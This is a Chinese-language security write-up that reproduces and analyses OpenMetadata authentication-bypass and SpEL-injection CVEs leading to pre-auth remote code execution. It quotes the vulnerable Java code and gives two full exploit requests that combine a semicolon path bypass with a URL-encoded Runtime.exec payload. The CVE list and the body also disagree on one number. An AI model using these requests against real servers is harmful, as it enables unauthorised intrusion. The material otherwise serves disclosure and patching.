0x01 简介 OpenMetadata是一个用于数据发现、数据沿袭、数据质量、可观察性、治理和团队协作的一体化平台。它是发展最快的开源项目之一,拥有充满活力的社区,并被各行业垂直领域的众多公司采用。OpenMetadata 由基于开放元数据标准 API 的集中式元数据存储提供支持,支持各种数据服务的连接器,可实现端到端元数据管理,让您可以自由地释放数据资产的价值。
0x02 漏洞概述 OpenMetadata 容易受到多个 SpEL 表达式注入和身份验证绕过的攻击,从而导致预身份验证远程代码执行。相关的漏洞编号如下:
CVE-2024-28253
CVE-2024-28254
CVE-2024-28845
CVE-2024-28848
CVE-2024-28255(Authentication Bypass)
0x03 影响版本 OpenMetadata < 1.2.4
0x04 环境搭建 本次复现用到的环境为了 OpenMetadata 1.2.2,可以 Github 下载 docker-compose.yml 一键搭建环境,下载好 docker-compose.yml 文件后,使用命令
启动环境,启动后访问 http://localhost:8585,OpenMetadata 默认的账号密码为 admin/admin
。OpenMetadata 首页下图所示:
0x05 漏洞复现 & 分析 CVE-2024-28255(Authentication Bypass) 在 OpenMetadata 使用 JwtFilter.java 对 JWT 进行验证,有部分 API 不需要做认证,在 JwtFilter.java 对这部分不需要做认证的 API 进行排除,如下:
1 2 3 4 5 6 7 8 9 10 11 12 public static final List<String> EXCLUDED_ENDPOINTS = List.of( "v1/system/config", "v1/users/signup", "v1/system/version", "v1/users/registrationConfirmation", "v1/users/resendRegistrationToken", "v1/users/generatePasswordResetLink", "v1/users/password/reset", "v1/users/checkEmailInUse", "v1/users/login", "v1/users/refresh");
在 API 进行鉴权时,OpenMetadata 的写法如下:
1 2 3 4 5 6 7 public void filter(ContainerRequestContext requestContext) { UriInfo uriInfo = requestContext.getUriInfo(); if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) { return; } ... }
使用 getPath
获取请求的路径部分并解析任何转义字符(如URL编码的斜杠),再使用 contains
判断路径是否在 EXCLUDED_ENDPOINTS 集合中,如果用户的输入为 /api/v1;v1%2fusers%2flogin/xxx
则该条件成立,直接返回则绕过了鉴权。
看完鉴权绕过那么对于后面的 SpEL 注入就可以利用该技巧绕过鉴权,实现未授权 RCE。
CVE-2024-28254 该漏洞出现在 EventSubscriptionResource.java 中,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @GET @Path("/validation/condition/{expression}") @Operation( operationId = "validateCondition", summary = "Validate a given condition", description = "Validate a given condition expression used in filtering rules.", responses = { @ApiResponse(responseCode = "204", description = "No value is returned"), @ApiResponse(responseCode = "400", description = "Invalid expression") }) public void validateCondition( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Parameter(description = "Expression to validate", schema = @Schema(type = "string")) @PathParam("expression") String expression) { AlertUtil.validateExpression(expression, Boolean.class); }
在 AlertUtil.java 中 validateExpression 的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static <T> T validateExpression(String condition, Class<T> clz) { if (condition == null) { return null; } Expression expression = parseExpression(condition); AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(null); try { return expression.getValue(ruleEvaluator, clz); } catch (Exception exception) { // Remove unnecessary class details in the exception message String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", ""); throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message)); } }
而 parseExpression 位于 CompiledRule.java 中,其函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 private static final SpelExpressionParser EXPRESSION_PARSER = new SpelExpressionParser(); ... public static Expression parseExpression(String condition) { if (condition == null) { return null; } try { return EXPRESSION_PARSER.parseExpression(condition); } catch (Exception exception) { throw new IllegalArgumentException(CatalogExceptionMessage.failedToParse(exception.getMessage())); } }
在这里解析 expression
的写法存在问题 ,导致攻击者可以构造恶意参数执行系统命令,复现如下:
1 2 3 GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/1.1 Host: localhost:8585 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
结果
CVE-2024-28847 该漏洞位于 /api/v1/events/subscriptions
同样是由于 AlertUtil::validateExpression
引起的,具体调用成如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 @PUT @Operation( operationId = "createOrUpdateEventSubscription", summary = "Updated an existing or create a new Event Subscription", description = "Updated an existing or create a new Event Subscription", responses = { @ApiResponse( responseCode = "200", description = "create Event Subscription", content = @Content( mediaType = "application/json", schema = @Schema(implementation = CreateEventSubscription.class))), @ApiResponse(responseCode = "400", description = "Bad request") }) public Response createOrUpdateEventSubscription( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) { // Only one Creation is allowed for Data Insight if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) { try { repository.getByName(null, create.getName(), repository.getFields("id")); } catch (EntityNotFoundException ex) { if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) { throw new BadRequestException("Data Insight Report Alert already exists."); } } } EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName()); Response response = createOrUpdate(uriInfo, securityContext, eventSub); repository.updateEventSubscription((EventSubscription) response.getEntity()); return response; } // EntityResource.java public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) { repository.prepareInternal(entity, true); // If entity does not exist, this is a create operation, else update operation ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName()); MetadataOperation operation = createOrUpdateOperation(resourceContext); OperationContext operationContext = new OperationContext(entityType, operation); if (operation == CREATE) { CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity); authorizer.authorize(securityContext, operationContext, createResourceContext); entity = addHref(uriInfo, repository.create(uriInfo, entity)); return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse(); } authorizer.authorize(securityContext, operationContext, resourceContext); PutResponse<T> response = repository.createOrUpdate(uriInfo, entity); addHref(uriInfo, response.getEntity()); return response.toResponse(); } // EntityRepository.java public void prepareInternal(T entity, boolean update) { validateTags(entity); prepare(entity, update); setFullyQualifiedName(entity); validateExtension(entity); // Domain is already validated } // EventSubscriptionRepository.java @Override public void prepare(EventSubscription entity, boolean update) { validateFilterRules(entity); } private void validateFilterRules(EventSubscription entity) { // Resolve JSON blobs into Rule object and perform schema based validation if (entity.getFilteringRules() != null) { List<EventFilterRule> rules = entity.getFilteringRules().getRules(); // Validate all the expressions in the rule for (EventFilterRule rule : rules) { AlertUtil.validateExpression(rule.getCondition(), Boolean.class); } rules.sort(Comparator.comparing(EventFilterRule::getName)); } }
CVE-2024-28848 该漏洞位于 PolicyResource.java
中 /validation/condition/{expression}
, 其函数定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @GET @Path("/validation/condition/{expression}") @Operation( operationId = "validateCondition", summary = "Validate a given condition", description = "Validate a given condition expression used in authoring rules.", responses = { @ApiResponse(responseCode = "204", description = "No value is returned"), @ApiResponse(responseCode = "400", description = "Invalid expression") }) public void validateCondition( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string")) @PathParam("expression") String expression) { CompiledRule.validateExpression(expression, Boolean.class); }
该函数调用 CompiledRule.java
中的 validateExpression
函数,其函数定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private static final SpelExpressionParser EXPRESSION_PARSER = new SpelExpressionParser(); ... public static Expression parseExpression(String condition) { if (condition == null) { return null; } try { return EXPRESSION_PARSER.parseExpression(condition); } catch (Exception exception) { throw new IllegalArgumentException(CatalogExceptionMessage.failedToParse(exception.getMessage())); } } /** Used only for validating the expressions when new rule is created */ public static <T> void validateExpression(String condition, Class<T> clz) { if (condition == null) { return; } Expression expression = parseExpression(condition); RuleEvaluator ruleEvaluator = new RuleEvaluator(); StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator); try { expression.getValue(evaluationContext, clz); } catch (Exception exception) { // Remove unnecessary class details in the exception message String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", ""); throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message)); } }
EXPRESSION_PARSER.parseExpression(condition);
标准的 SPel 注入,没有正确的使用解析,导致 RCE。复现如下:
1 2 3 GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/1.1 Host: localhost:8585 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
结果
CVE-2024-28253 同样也是由于 CompiledRule::validateExpression
导致的 RCE,相关代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // PolicyResource.java @PUT @Operation( operationId = "createOrUpdatePolicy", summary = "Create or update a policy", description = "Create a new policy, if it does not exist or update an existing policy.", responses = { @ApiResponse( responseCode = "200", description = "The policy", content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))), @ApiResponse(responseCode = "400", description = "Bad request") }) public Response createOrUpdate( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) { Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName()); return createOrUpdate(uriInfo, securityContext, policy); } // 同 CVE-2024-28847 的调用过程。
0x06 修复方式 官方已发布新版本,请及时更新。
0x07 参考链接: https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/ https://forum.butian.net/share/2569